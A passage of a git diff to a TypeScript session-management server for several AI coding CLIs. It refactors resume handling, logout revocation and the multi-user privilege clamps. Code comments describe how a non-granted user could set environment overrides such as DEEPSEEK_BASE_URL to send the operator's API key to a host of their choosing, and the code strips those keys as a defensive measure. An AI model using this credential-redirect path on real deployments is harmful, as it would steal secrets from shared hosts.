actually + // continue anything. + const modeConfig = + modeConfigKey + ? { [modeConfigKey]: { continueSession: true } } + : effectiveMode === 'deepseek' + ? { deepSeekConfig: { resumeSession: true } } + : {}; + const continuesSomething = Boolean(modeConfigKey) || effectiveMode === 'deepseek'; const createRes = await fetch('/api/sessions', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ workingDir, name, - resumeSessionId: sessionId, + mode: effectiveMode, + ...(effectiveMode === 'claude' ? { resumeSessionId: sessionId } : {}), + ...modeConfig, ...(Object.keys(envOverrides).length > 0 ? { envOverrides } : {}), ...(effort ? { effort } : {}), }), @@ -2944,6 +2976,21 @@ Object.assign(CodemanApp.prototype, { // Start interactive await fetch(`/api/sessions/${newSessionId}/interactive`, { method: 'POST' }); + // Retire the row being resumed: a non-claude "resume" is really a brand + // new Codeman session pointed at the same directory (there is no id to + // reattach to), so without this every resume leaves the old row behind + // as a duplicate — click it 3 times, see the same name 3 times. Claude + // rows are left alone: `sessionId` there is a claudeSessionId, which + // usually has no live/persisted Codeman session of its own to delete. + // Gated on `continuesSomething`: for codex/gemini/antigravity (no + // continuation wired above), this is really a FRESH session with no + // relation to the old row's conversation, so retiring it would discard + // the old conversation with no recovery — worse than the duplicate row + // this guard exists to prevent for the modes that DO continue. + if (effectiveMode !== 'claude' && continuesSomething && sessionId !== newSessionId) { + fetch(`/api/sessions/${sessionId}?killMux=true`, { method: 'DELETE' }).catch(() => {}); + } + this.terminal.writeln(`\x1b[90m Session ${name} ready\x1b[0m`); await this.selectSession(newSessionId); this.terminal.focus(); diff --git a/src/web/route-helpers.ts b/src/web/route-helpers.ts index 8585358c..43acfccd 100644 --- a/src/web/route-helpers.ts +++ b/src/web/route-helpers.ts @@ -8,11 +8,10 @@ import { join, resolve, relative, isAbsolute } from 'node:path'; import { realpathSync, existsSync, mkdirSync } from 'node:fs'; import fs from 'node:fs/promises'; -import { homedir } from 'node:os'; import type { z } from 'zod'; import type { FastifyReply, FastifyRequest } from 'fastify'; import { Session } from '../session.js'; -import { ApiErrorCode, createErrorResponse, type AuthUser } from '../types.js'; +import { ApiErrorCode, createErrorResponse, type AuthUser, type SessionState } from '../types.js'; import { MAX_CONCURRENT_SESSIONS } from '../config/map-limits.js'; import { parseRalphLoopConfig, extractCompletionPhrase } from '../ralph-config.js'; import { SseEvent } from './sse-events.js'; @@ -21,12 +20,15 @@ import type { EventPort } from './ports/event-port.js'; import type { AuthSessionRecord } from './ports/auth-port.js'; import type { StaleExpirationMap } from '../utils/index.js'; import { dataPath } from '../config/instance.js'; +import { getCasesDir } from '../config/cases-dir.js'; import { isMultiUserMode, maxSessionsPerUser, userCasesDir } from '../config/multiuser.js'; import { SYNTHETIC_ADMIN, findUser } from '../user-store.js'; // Shared path constants used across route modules. CASES_DIR (project folders) // stays shared across instances; SETTINGS_PATH is per-instance runtime state. -export const CASES_DIR = join(homedir(), 'codeman-cases'); +// The cases dir is resolved in ONE place (config/cases-dir.ts) because the CLI +// resolves it too, and CODEMAN_CASES_PATH must move both or neither. +export const CASES_DIR = getCasesDir(); export const SETTINGS_PATH = dataPath('settings.json'); /** @@ -264,6 +266,18 @@ export function revokeUserSessions( return removed; } +/** + * The 404 both session-lookup helpers below throw. A missing session and one + * the caller isn't allowed to see get the IDENTICAL error (never 403), so + * existence of another user's session is never leaked. + */ +function sessionNotFoundError(sessionId: string): Error & { statusCode: number; body: unknown } { + return Object.assign(new Error(`Session ${sessionId} not found`), { + statusCode: 404, + body: createErrorResponse(ApiErrorCode.NOT_FOUND, `Session ${sessionId} not found`), + }); +} + /** * Look up a session by ID or throw a structured error. * Replaces the pattern: `const session = sessions.get(id); if (!session) return createErrorResponse(...)`. @@ -274,15 +288,31 @@ export function revokeUserSessions( */ export function findSessionOrFail(ctx: SessionPort, sessionId: string, req?: FastifyRequest): Session { const session = ctx.sessions.get(sessionId); - if (!session || (req && !canAccessOwned(getAuthUser(req), session.owner))) { - throw Object.assign(new Error(`Session ${sessionId} not found`), { - statusCode: 404, - body: createErrorResponse(ApiErrorCode.NOT_FOUND, `Session ${sessionId} not found`), - }); - } + if (!session) throw sessionNotFoundError(sessionId); + if (req && !canAccessOwned(getAuthUser(req), session.owner)) throw sessionNotFoundError(sessionId); return session; } +/** + * Like {@link findSessionOrFail}, for a session that exists ONLY in persisted + * state — a resumed-but-never-reattached row (e.g. a non-claude "Resume" that + * relaunched into a new session and wants to retire the row it can no longer + * reattach to) has no live `Session` instance for `findSessionOrFail` to + * return, so this returns the persisted record instead. Same ownership + * enforcement, same 404-not-403 leak protection — this is that function's + * missing other half, not a separate check reimplemented inline. + */ +export function findPersistedSessionOrFail( + store: { getSession(id: string): SessionState | null }, + sessionId: string, + req?: FastifyRequest +): SessionState { + const persisted = store.getSession(sessionId); + if (!persisted) throw sessionNotFoundError(sessionId); + if (req && !canAccessOwned(getAuthUser(req), persisted.owner)) throw sessionNotFoundError(sessionId); + return persisted; +} + /** Shortest prefix accepted for a parent session id (see resolveParentSessionId). */ const PARENT_SESSION_ID_MIN_PREFIX = 8; diff --git a/src/web/routes/admin-routes.ts b/src/web/routes/admin-routes.ts index 2de62764..8f9294c9 100644 --- a/src/web/routes/admin-routes.ts +++ b/src/web/routes/admin-routes.ts @@ -35,6 +35,7 @@ import { UserStoreError, } from '../../user-store.js'; import { getAuthUser, requireAdmin, revokeUserSessions } from '../route-helpers.js'; +import { webviewCapabilities } from '../../webview-capabilities.js'; import { appendAdminAudit } from '../admin-audit.js'; import { SseEvent } from '../sse-events.js'; import type { AuthPort } from '../ports/auth-port.js'; @@ -179,7 +180,10 @@ export function registerAdminRoutes(app: FastifyInstance, ctx: SessionPort & Aut if (!gate(req, reply)) return; const { username } = req.params as { username: string }; const revoked = revokeUserSessions(ctx.authSessions, username); - audit(req, 'user.logout', username, { revoked }); + // Web-tab proxy capabilities are a second credential the cookie purge does not + // touch; a forced logout that left them alive would not be a logout. + const revokedWebviews = webviewCapabilities.revokeOwner(normalizeUsername(username)); + audit(req, 'user.logout', username, { revoked, revokedWebviews }); return { success: true, data: { revoked } }; }); @@ -201,6 +205,7 @@ export function registerAdminRoutes(app: FastifyInstance, ctx: SessionPort & Aut await ctx.cleanupSession(id, true, 'admin_delete_user').catch(() => {}); } revokeUserSessions(ctx.authSessions, username); + webviewCapabilities.revokeOwner(normalizeUsername(username)); if (deleteSpace) await deleteUserSpace(username); audit(req, 'user.delete', username, { deleteSpace, killedSessions: owned.length }); ctx.broadcast(SseEvent.AdminUsersChanged, {}); diff --git a/src/web/routes/case-routes.ts b/src/web/routes/case-routes.ts index 2024d994..d742c4c0 100644 --- a/src/web/routes/case-routes.ts +++ b/src/web/routes/case-routes.ts @@ -72,7 +72,7 @@ import { probeAdoptableContainer, listDockerContainers, browseInContainer, - DOCKER_ADOPT_PROBE_MODES, + dockerAdoptProbeModes, readDockerCases, readDockerHosts, removeDockerContainer, @@ -845,11 +845,7 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config // hostWorkspacePath only because that is what an owned container's bind // mount guarantees; adoption mounts nothing, so the probe has to prove it. const adoptDocker = toSessionDocker(host, dockerCase); - const probe = await probeAdoptableContainer( - adoptDocker, - [...DOCKER_ADOPT_PROBE_MODES], - adoptDocker.containerWorkdir - ); + const probe = await probeAdoptableContainer(adoptDocker, dockerAdoptProbeModes(), adoptDocker.containerWorkdir); if (!probe.ok) { return createErrorResponse(ApiErrorCode.OPERATION_FAILED, probe.error || 'container is not adoptable'); } @@ -930,7 +926,7 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config daemonHost: host.daemonHost, containerName: body.container, }, - [...DOCKER_ADOPT_PROBE_MODES], + dockerAdoptProbeModes(), body.containerWorkdir ); return { success: true, data: probe }; diff --git a/src/web/routes/cron-routes.ts b/src/web/routes/cron-routes.ts index d98488f7..8e2c1916 100644 --- a/src/web/routes/cron-routes.ts +++ b/src/web/routes/cron-routes.ts @@ -7,6 +7,7 @@ */ import { FastifyInstance } from 'fastify'; +import { getCli } from '../../config/cli-registry/registry.js'; import { ApiErrorCode, createErrorResponse } from '../../types.js'; import { CronJobSchema, CronJobUpdateSchema, CronJobEnabledSchema } from '../schemas.js'; import { canAccessOwned, getAuthUser, isWorkingDirAllowed, ownerFor, parseBody } from '../route-helpers.js'; @@ -45,7 +46,7 @@ export function registerCronRoutes(app: FastifyInstance, ctx: CronPort): void { // Resolve the owner's grant from the store (AuthUser.role alone can't tell a GRANTED // regular user from a plain one); mirrors session-routes + the cron fire-time re-check. if ( - (body.agentType === 'shell' || body.launchCommand) && + (getCli(body.agentType)?.capabilities.privilegedCommandGate || body.launchCommand) && !(await canUsernameRunPrivilegedCommands(ownerFor(req))) ) { return createErrorResponse( @@ -72,7 +73,7 @@ export function registerCronRoutes(app: FastifyInstance, ctx: CronPort): void { return createErrorResponse(ApiErrorCode.FORBIDDEN, 'workingDir is outside your workspace'); } if ( - (body.agentType === 'shell' || body.launchCommand) && + (getCli(body.agentType ?? 'claude')?.capabilities.privilegedCommandGate || body.launchCommand) && !(await canUsernameRunPrivilegedCommands(ownerFor(req))) ) { return createErrorResponse( diff --git a/src/web/routes/session-routes.ts b/src/web/routes/session-routes.ts index 3fc80c94..ad509baf 100644 --- a/src/web/routes/session-routes.ts +++ b/src/web/routes/session-routes.ts @@ -20,15 +20,18 @@ import { type ApiResponse, type SessionColor, type SessionStatus, + type SessionMode, type CodexConfig, type GeminiConfig, type AntigravityConfig, type PiConfig, type GrokConfig, type DeepSeekConfig, + type OmpConfig, } from '../../types.js'; -import { Session, isAltScreenStripMode, isMuxAltScreenOnlyStripMode } from '../../session.js'; +import { Session, isAltScreenStripMode, isExternalCliMode, isMuxAltScreenOnlyStripMode } from '../../session.js'; import { SseEvent } from '../sse-events.js'; +import { webviewCapabilities } from '../../webview-capabilities.js'; import { CreateSessionSchema, SessionNameSchema, @@ -65,6 +68,7 @@ import { autoConfigureRalph, canAccessOwned, CASES_DIR, + findPersistedSessionOrFail, findSessionOrFail, getAuthUser, isAdmin, @@ -79,6 +83,9 @@ import { validatePathWithinBase, } from '../route-helpers.js'; import { canUsernameRunPrivilegedCommands, resolveClaudeModeForUsername } from '../../user-store.js'; +import { enabledClis, getCli } from '../../config/cli-registry/registry.js'; +import { resolveCliLaunchError } from '../../utils/cli-launcher.js'; +import { legacyConfigForMode } from '../../session-cli-registry-bridge.js'; import { isMultiUserMode } from '../../config/multiuser.js'; import { AUTH_COOKIE_NAME } from '../middleware/auth.js'; import { @@ -137,6 +144,8 @@ import { toSessionDocker, } from '../../docker-hosts.js'; import { LRUMap } from '../../utils/lru-map.js'; +import { findLatestOmpSessionId } from '../../utils/omp-session-resolver.js'; +import { scanOmpSessionsHistory } from '../../omp-transcript.js'; import { getLastTranscriptResponse, isExternalCliTranscriptMode, @@ -352,12 +361,54 @@ export function _resetPasteRateBuckets(): void { */ async function clampExternalCliBypassForOwner( owner: string | undefined, - codexConfig: CodexConfig | undefined, - geminiConfig: GeminiConfig | undefined, - antigravityConfig: AntigravityConfig | undefined, - piConfig: PiConfig | undefined, - grokConfig: GrokConfig | undefined, - deepSeekConfig: DeepSeekConfig | undefined + configs: Record +): Promise> { + if (await canUsernameRunPrivilegedCommands(owner)) return configs; + + const out = { ...configs }; + for (const entry of enabledClis()) { + const field = entry.launch.legacyConfigField; + if (!field) continue; + // `privilegedParams[].param` names the REGISTRY param, so it has to be translated to the + // legacy wire field on the way out — the same `legacyConfigAliases` hop `configSetenvValues` + // already makes. Writing `param` straight through would put it in a DIFFERENT namespace + // from every other `param` in the schema, and a name that is right in one and wrong in the + // other is a SILENT no-op: no load error, no failing test, the clamp simply stops clamping. + // Codex is where the two names differ (`bypassApprovals` vs `dangerouslyBypassApprovals`), + // and `schema.ts` refuses an entry naming a param it never declared. + const aliases = entry.launch.legacyConfigAliases ?? {}; + const existing = out[field] as Record | undefined; + let next = existing; + for (const { param, clampTo, materializeWhenAbsent } of entry.capabilities.privilegedParams) { + // MATERIALIZE vs ONLY-IF-SENT is the whole design of this clamp, and the two are not + // interchangeable — see CliCapabilities.privilegedParams. Materialize where the CLI's + // own absent-config default is ITSELF unsafe (gemini defaults to yolo; pi's default is + // an interactive trust prompt the session user could just answer "yes" to), so a + // caller who sends no config at all still gets clamped. + if (next === undefined && !materializeWhenAbsent) continue; + next = { ...(next ?? {}), [aliases[param] ?? param]: clampTo }; + } + if (next !== existing) out[field] = next; + } + return out; +} + +/** + * Test hook, and the positional shape the clamp has always been called with in tests. + * + * The clamp itself is now generic over the registry, which is what makes a CUSTOM CLI's + * privileged flag clampable with no code here — previously the five config objects were + * named individually, so `privilegedParams` on anything outside that list was declared but + * unreachable. + */ +export async function _clampExternalCliBypassForOwner( + owner: string | undefined, + codexConfig?: CodexConfig, + geminiConfig?: GeminiConfig, + antigravityConfig?: AntigravityConfig, + piConfig?: PiConfig, + grokConfig?: GrokConfig, + deepSeekConfig?: DeepSeekConfig ): Promise<{ codexConfig: CodexConfig | undefined; geminiConfig: GeminiConfig | undefined; @@ -366,40 +417,30 @@ async function clampExternalCliBypassForOwner( grokConfig: GrokConfig | undefined; deepSeekConfig: DeepSeekConfig | undefined; }> { - const granted = await canUsernameRunPrivilegedCommands(owner); - if (granted) return { codexConfig, geminiConfig, antigravityConfig, piConfig, grokConfig, deepSeekConfig }; - // Non-granted: force codex/antigravity bypass off (only meaningful when a config was - // sent) and materialize gemini to auto_edit (clamps an explicit 'yolo' and the yolo default) - // and pi to --no-approve (clamps an explicit true AND pi's own "ask" default). - const clampedCodex = codexConfig ? { ...codexConfig, dangerouslyBypassApprovals: false } : codexConfig; - const clampedGemini: GeminiConfig = { ...(geminiConfig ?? {}), approvalMode: 'auto_edit' }; - const clampedAntigravity = antigravityConfig - ? { ...antigravityConfig, dangerouslySkipPermissions: false } - : antigravityConfig; - const clampedPi: PiConfig = { ...(piConfig ?? {}), approveProjectTrust: false }; - const clampedGrok = grokConfig ? { ...grokConfig, alwaysApprove: false } : grokConfig; - const clampedDeepSeek = deepSeekConfig - ? { ...deepSeekConfig, permissionMode: 'workspace-write' as const } - : deepSeekConfig; - return { - codexConfig: clampedCodex, - geminiConfig: clampedGemini, - antigravityConfig: clampedAntigravity, - piConfig: clampedPi, - grokConfig: clampedGrok, - deepSeekConfig: clampedDeepSeek, + const out = await clampExternalCliBypassForOwner(owner, { + codexConfig, + geminiConfig, + antigravityConfig, + piConfig, + grokConfig, + deepSeekConfig, + }); + return out as { + codexConfig: CodexConfig | undefined; + geminiConfig: GeminiConfig | undefined; + antigravityConfig: AntigravityConfig | undefined; + piConfig: PiConfig | undefined; + grokConfig: GrokConfig | undefined; + deepSeekConfig: DeepSeekConfig | undefined; }; } -/** Test hook: the clamp is the multi-user safety gate for the external CLIs' privileged flags. */ -export const _clampExternalCliBypassForOwner = clampExternalCliBypassForOwner; - /** * Env-var keys a non-granted owner must not be able to set, because each one - * hands back privilege the config clamp above just removed — or, for the last, - * redirects a credential the server injects. + * hands back privilege the config clamp above just removed, or redirects a + * credential-resolution endpoint. * - * All are DeepSeek's, and all are reachable because `DSH_*` and `DEEPSEEK_*` are + * The DeepSeek three are reachable because `DSH_*` and `DEEPSEEK_*` are * allowlisted `envOverrides` prefixes (schemas.ts) — which they have to be, since * that is also how a user configures the harness's non-privileged knobs. * @@ -410,26 +451,38 @@ export const _clampExternalCliBypassForOwner = clampExternalCliBypassForOwner; * - `DSH_HOME` points the launcher at a profile tree, and a profile's plugin code * executes at BOOT, before any approval row can apply. A user who can write a * workspace can put a profile in it, so this is the wider of the two. - * - `DEEPSEEK_BASE_URL` aims the provider endpoint, and `_configureDeepSeek()` + * - `DEEPSEEK_BASE_URL` aims the provider endpoint, and `_configureCliEnv()` * forwards the SERVER's own `DEEPSEEK_API_KEY` into every dsh pane before * `applyEnvOverrides()` runs — so a non-granted owner who could set the base * URL would have the operator's API key sent as a bearer credential to a host * of their choosing. (`DEEPSEEK_API_KEY` itself stays overridable: supplying * your OWN key removes privilege rather than granting it.) + * - `OMP_AUTH_BROKER_URL`/`OMP_AUTH_BROKER_TOKEN` are where omp resolves + * credentials from — the same shape as `DEEPSEEK_BASE_URL` above, reachable + * because `OMP_*` is an allowlisted prefix. Unlike DeepSeek, Codeman does not + * forward any operator-held key into an omp pane today (omp's provider + * credentials live in `~/.omp` config files, not env vars), so there is no + * known concrete exfiltration path yet — clamped defensively anyway, since a + * non-granted owner redirecting where a shared multi-tenant deployment + * resolves auth from is not something to allow silently (found in + * Ark0N/Codeman#353 review; omp's own knobs are otherwise mostly `PI_*`, + * already allowlisted for pi and not addressed here — see resolveOmpHome()). */ -const OWNER_CLAMPED_ENV_KEYS = ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL'] as const; +function ownerClampedEnvKeys(): string[] { + return enabledClis().flatMap((entry) => entry.capabilities.privilegedEnvKeys); +} /** * Env-var half of the multi-user bypass clamp. * * `clampExternalCliBypassForOwner()` clamps the per-CLI CONFIG, and for every CLI * but DeepSeek that is the whole story. Here it is not: `applyEnvOverrides()` runs - * AFTER `_configureDeepSeek()` in tmux-manager, so an override sent on the SAME + * AFTER `_configureCliEnv()` in tmux-manager, so an override sent on the SAME * request lands last and wins, and a non-granted owner could restore * `danger-full-access` on the very request the config clamp downgraded. * * Keys are DROPPED rather than rewritten: dropping falls through to what - * `_configureDeepSeek()` exports, which is the clamped config and the server's own + * `_configureCliEnv()` exports, which is the clamped config and the server's own * `DSH_HOME`, i.e. exactly the intended state. No-op in single-user mode and for a * granted owner, like every other clamp here * (`canUsernameRunPrivilegedCommands()` returns true when `!isMultiUserMode()`), @@ -440,38 +493,17 @@ async function clampEnvOverridesForOwner( envOverrides: Record | undefined ): Promise | undefined> { if (!envOverrides) return envOverrides; - if (!OWNER_CLAMPED_ENV_KEYS.some((key) => key in envOverrides)) return envOverrides; + const keys = ownerClampedEnvKeys(); + if (!keys.some((key) => key in envOverrides)) return envOverrides; if (await canUsernameRunPrivilegedCommands(owner)) return envOverrides; const clamped = { ...envOverrides }; - for (const key of OWNER_CLAMPED_ENV_KEYS) delete clamped[key]; + for (const key of keys) delete clamped[key]; return clamped; } /** Test hook: the env-var half of the same multi-user safety gate. */ export const _clampEnvOverridesForOwner = clampEnvOverridesForOwner; -/** - * Why a DeepSeek session cannot start, or null when it can. - * - * Availability for this mode is TWO questions, not one, because `dsh` is a - * profile launcher rather than an agent: the binary must resolve (and prove it - * is the harness and not Debian's dancer's shell), AND a profile that can occupy - * a pane must exist. Reporting only the first would let the Run button spawn a - * pane that dies instantly, which is the single most confusing failure this mode - * can produce, so each half gets its own actionable message. - * - * A profile named EXPLICITLY is checked on both counts: existence, and whether - * it is pane-capable — `web` serves a browser UI and `headless` answers one task - * and exits, so both would present as "the tab immediately died". - */ -async function resolveDeepSeekLaunchError(requestedProfile?: string): Promise { - // Thin async wrapper: the implementation moved into the resolver module so - // CRON fires can ask the same question before constructing a Session; the - // dynamic import keeps this file's startup free of the probe machinery. - const { resolveDeepSeekLaunchError: impl } = await import('../../utils/deepseek-cli-resolver.js'); - return impl(requestedProfile); -} - // ═══════════════════════════════════════════════════════════════ // Agent wait helpers (shared by GET /wait, GET /wait-output, POST /input) // ═══════════════════════════════════════════════════════════════ @@ -745,6 +777,36 @@ async function injectAgentSkill(casePath: string): Promise { // bypassing the `workspaceHooksEnabled` setting. Route handlers here resolve the // setting through the ConfigPort (tests stub it) and pass it as the second arg. +/** + * A "Resume"/"continue" request for a NEW omp-mode session (the frontend's + * resumeHistorySession(), or anyone hitting the API directly) carries + * `continueSession: true` but no id — omp has none to give it, since Codeman + * has never tracked its own conversation UUID. Left as `--continue`, that + * picks whichever session file in the directory is newest, which silently + * drifts to the WRONG conversation the moment a second omp session (this + * one, a sibling worker, a stray manual run) has touched the same directory + * more recently. Resolve the real id up front instead, same as the + * dead-pane-respawn path in session.ts does, so even the FIRST relaunch of a + * resumed conversation is pinned rather than guessed. + */ +export function resolveOmpConfigForCreate( + mode: SessionMode, + workingDir: string, + ompConfig: OmpConfig | undefined +): OmpConfig | undefined { + if (mode !== 'omp') return undefined; + if (!ompConfig || ompConfig.resumeSessionId || !ompConfig.continueSession) { + return ompConfig; + } + const resolvedId = findLatestOmpSessionId(workingDir); + if (!resolvedId) { + console.warn( + `[Session] OMP: no session file found under ${workingDir} to pin --resume; falling back to ambiguous --continue` + ); + } + return resolvedId ? { ...ompConfig, resumeSessionId: resolvedId } : ompConfig; +} + export function registerSessionRoutes( app: FastifyInstance, ctx: SessionPort & EventPort & ConfigPort & InfraPort & AuthPort & TabLayoutPort @@ -761,6 +823,10 @@ export function registerSessionRoutes( if (sessionToken) { ctx.authSessions?.delete(sessionToken); } + // The web-tab proxy authenticates on capabilities, not on this cookie, so a + // logout has to retire them too or every dashboard URL opened during this + // login keeps relaying without one (WebviewCapabilityStore.revokeOwner). + webviewCapabilities.revokeOwner(ownerFor(req)); reply.clearCookie(AUTH_COOKIE_NAME, { path: '/' }); return {}; }); @@ -826,7 +892,10 @@ export function registerSessionRoutes( // Multi-user: shell mode is arbitrary command execution as the host account, // gated behind the same grant as bypass (section 6.3). Resolve the owner's grant // from the store so a GRANTED regular user is not wrongly denied (AuthUser role alone can't tell). - if (body.mode === 'shell' && !(await canUsernameRunPrivilegedCommands(owner))) { + if ( + getCli(body.mode ?? 'claude')?.capabilities.privilegedCommandGate && + !(await canUsernameRunPrivilegedCommands(owner)) + ) { return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Shell sessions require the can-bypass-permissions grant'); } @@ -859,14 +928,11 @@ export function registerSessionRoutes( // repos that POST /api/sessions can target, as those may have hand-authored // values). const managedCasesBase = resolveCasesDir(getAuthUser(req)); + // `!isExternalCliMode()` is byte-identical to the eight-mode `!==` chain it replaces + // (claude and shell are the two non-external modes) and, unlike the chain, cannot fall + // behind the next CLI added. const canStripDisk = - body.mode !== 'opencode' && - body.mode !== 'codex' && - body.mode !== 'gemini' && - body.mode !== 'antigravity' && - body.mode !== 'pi' && - body.mode !== 'grok' && - body.mode !== 'deepseek' && + !isExternalCliMode(body.mode ?? 'claude') && body.envOverrides && Object.keys(body.envOverrides).length > 0 && (workingDir.startsWith(CASES_DIR + '/') || workingDir.startsWith(managedCasesBase + '/')); @@ -918,52 +984,24 @@ export function registerSessionRoutes( } } - // Check OpenCode availability if requested. The error text comes from the - // resolver (formatCliNotFoundMessage) so it names where resolution looked — - // server PATH, login shell, common directories — same for the modes below. - if (body.mode === 'opencode') { - const { isOpenCodeAvailable, getOpenCodeNotFoundMessage } = await import('../../utils/opencode-cli-resolver.js'); - if (!isOpenCodeAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getOpenCodeNotFoundMessage()); - } - } - - // Check Codex availability if requested - if (body.mode === 'codex') { - const { isCodexAvailable, getCodexNotFoundMessage } = await import('../../utils/codex-cli-resolver.js'); - if (!isCodexAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getCodexNotFoundMessage()); - } - } - - // Check Gemini availability if requested - if (body.mode === 'gemini') { - const { isGeminiAvailable, getGeminiNotFoundMessage } = await import('../../utils/gemini-cli-resolver.js'); - if (!isGeminiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGeminiNotFoundMessage()); - } - } - if (body.mode === 'antigravity') { - const { isAntigravityAvailable, getAntigravityNotFoundMessage } = - await import('../../utils/antigravity-cli-resolver.js'); - if (!isAntigravityAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getAntigravityNotFoundMessage()); - } - } - if (body.mode === 'pi') { - const { isPiAvailable, getPiNotFoundMessage } = await import('../../utils/pi-cli-resolver.js'); - if (!isPiAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getPiNotFoundMessage()); - } - } - if (body.mode === 'deepseek') { - const err = await resolveDeepSeekLaunchError(body.deepSeekConfig?.profile); - if (err) return createErrorResponse(ApiErrorCode.OPERATION_FAILED, err); - } - if (body.mode === 'grok') { - const { isGrokAvailable, getGrokNotFoundMessage } = await import('../../utils/grok-cli-resolver.js'); - if (!isGrokAvailable()) { - return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getGrokNotFoundMessage()); + // Refuse up front if the requested CLI cannot start, rather than spawning a pane that + // dies on `command not found`. The message comes from the resolver, so it names where + // resolution actually looked (server PATH, login shell, the entry's search dirs); a + // LAUNCHER CLI answers with its own more specific reason instead — for dsh, whether the + // binary is missing, no pane-capable profile exists, or the profile the caller NAMED + // cannot drive a pane, which are three different things to go and fix. + // + // Scoped to EXTERNAL CLIs, matching what this route has always pre-flighted: claude and + // shell deliberately fall through to tmux-manager's own not-found throw instead, and + // pulling them forward here would change which error a missing claude produces. + const requestedMode = body.mode ?? 'claude'; + if (getCli(requestedMode)?.capabilities.external) { + const cliLaunchError = await resolveCliLaunchError( + requestedMode, + legacyConfigForMode(requestedMode, body as unknown as Record) + ); + if (cliLaunchError) { + return createErrorResponse(ApiErrorCode.OPERATION_FAILED, cliLaunchError); } } @@ -1000,25 +1038,25 @@ export function registerSessionRoutes( const globalNice = await ctx.getGlobalNiceConfig(); const modelConfig = await ctx.getModelConfig(); const mode = body.mode || 'claude'; + // Where a model override comes from is a capability, and the three answers are + // genuinely different mechanisms: + // 'flag' — the CLI takes --model, so read the value the caller sent + // in that CLI's own config object. + // 'claude-settings-file' — claude alone, whose model is written to + // /.claude/settings.local.json rather than passed as + // a flag, so the app-wide default applies here. + // 'none' — shell has no model; deepseek's is a composition entry in + // the profile's config tree, not a session field + // (docs/deepseek-integration.md). Both get nothing. + const modelSource = getCli(mode)?.capabilities.model; const model = - mode === 'opencode' - ? body.openCodeConfig?.model - : mode === 'codex' - ? body.codexConfig?.model - : mode === 'gemini' - ? body.geminiConfig?.model - : mode === 'antigravity' - ? body.antigravityConfig?.model - : mode === 'pi' - ? body.piConfig?.model - : mode === 'grok' - ? body.grokConfig?.model - : // DeepSeek's model is a composition entry in the profile's config - // tree, not a session flag, so there is deliberately nothing to - // read here (see docs/deepseek-integration.md). - mode !== 'shell' && mode !== 'deepseek' - ? modelConfig?.defaultModel || undefined - : undefined; + modelSource?.source === 'flag' + ? (legacyConfigForMode(mode, body as unknown as Record)?.[modelSource.param ?? 'model'] as + | string + | undefined) + : modelSource?.source === 'claude-settings-file' + ? modelConfig?.defaultModel || undefined + : undefined; const claudeModeConfig = await ctx.getClaudeModeConfig(); // Section 6.3: force non-granted users to a classifier-guarded mode. const effectiveClaudeMode = await resolveClaudeModeForUsername(claudeModeConfig.claudeMode, owner); @@ -1030,7 +1068,7 @@ export function registerSessionRoutes( piConfig: gatedPiConfig, grokConfig: gatedGrokConfig, deepSeekConfig: gatedDeepSeekConfig, - } = await clampExternalCliBypassForOwner( + } = await _clampExternalCliBypassForOwner( owner, body.codexConfig, body.geminiConfig, @@ -1057,6 +1095,7 @@ export function registerSessionRoutes( piConfig: mode === 'pi' ? gatedPiConfig : undefined, grokConfig: mode === 'grok' ? gatedGrokConfig : undefined, deepSeekConfig: mode === 'deepseek' ? gatedDeepSeekConfig : undefined, + ompConfig: resolveOmpConfigForCreate(mode, workingDir, body.ompConfig), resumeSessionId: validatedResumeId, envOverrides: await clampEnvOverridesForOwner(owner, body.envOverrides), effort: body.effort, @@ -1072,7 +1111,7 @@ export function registerSessionRoutes( await ctx.setupSessionListeners(session); // Pre-seed the agent skill's preamble cache so its §0 bootstrap is a two-line // loader (see seedAgentSessionPreamble). Local claude sessions only; best-effort. - if (mode === 'claude' && !remote && (await ctx.getAgentSkillEnabled())) { + if (getCli(mode)?.capabilities.agentSkillInjection && !remote && (await ctx.getAgentSkillEnabled())) { await seedAgentSessionPreamble(session.id).catch((err: unknown) => console.warn(`[agent-skill] preamble seed failed for ${session.id}: ${getErrorMessage(err)}`) ); @@ -1125,9 +1164,26 @@ export function registerSessionRoutes( const query = req.query as { killMux?: string }; const killMux = query.killMux !== 'false'; // Default to true - // Security: owner-scoped lookup 404s foreign/missing sessions uniformly (no existence leak, no cross-user kill). - const session = findSessionOrFail(ctx, id, req); + // A resumed/detached-but-never-live row (e.g. a non-claude "Resume" that + // relaunched into a NEW session and wants to retire the old one it can no + // longer reattach to) has no entry in ctx.sessions at all — only in + // persisted state. Fall back to removing that persisted record directly + // rather than 404ing: the caller means "make this row go away", and a + // stale duplicate row is exactly what's left behind otherwise. Pinned + // sessions keep their existing demote-not-delete protection. + if (!ctx.sessions.has(id)) { + // Called for its existence/ownership 404 side effect only — demoteOrRemoveSession + // below re-looks-up the record by id, so the returned SessionState is unused here. + findPersistedSessionOrFail(ctx.store, id, req); + ctx.store.demoteOrRemoveSession(id); + // Mirrors the broadcast at the tail of the live-session cleanup path + // (_doCleanupSession in server.ts) — without it, other open tabs keep + // showing the retired row until their next unrelated fetch. + ctx.broadcast(SseEvent.SessionDeleted, { id }); + return {}; + } + const session = findSessionOrFail(ctx, id, req); await ctx.cleanupSession(session.id, killMux, 'user_delete'); return {}; }); @@ -1277,19 +1333,21 @@ export function registerSessionRoutes( } try { - // Auto-detect completion phrase from CLAUDE.md BEFORE starting (only if globally enabled and not explicitly disabled by user) - // Ralph tracker is not supported for opencode / codex / gemini / antigravity / pi sessions. - // Keep this list in step with isExternalCliMode(): _processExpensiveParsers() returns early - // for those modes, so a tracker enabled here would never be fed, and the session would - // still report ralphEnabled + Ralph UI state that no other external CLI shows. + // Auto-detect completion phrase from CLAUDE.md BEFORE starting (only if globally + // enabled and not explicitly disabled by user). + // + // `isExternalCliMode()` is what the eight-mode `!==` chain this replaces was FOR: its + // own comment asked the next person to keep the list in step with that predicate by + // hand. Calling it instead is byte-identical today 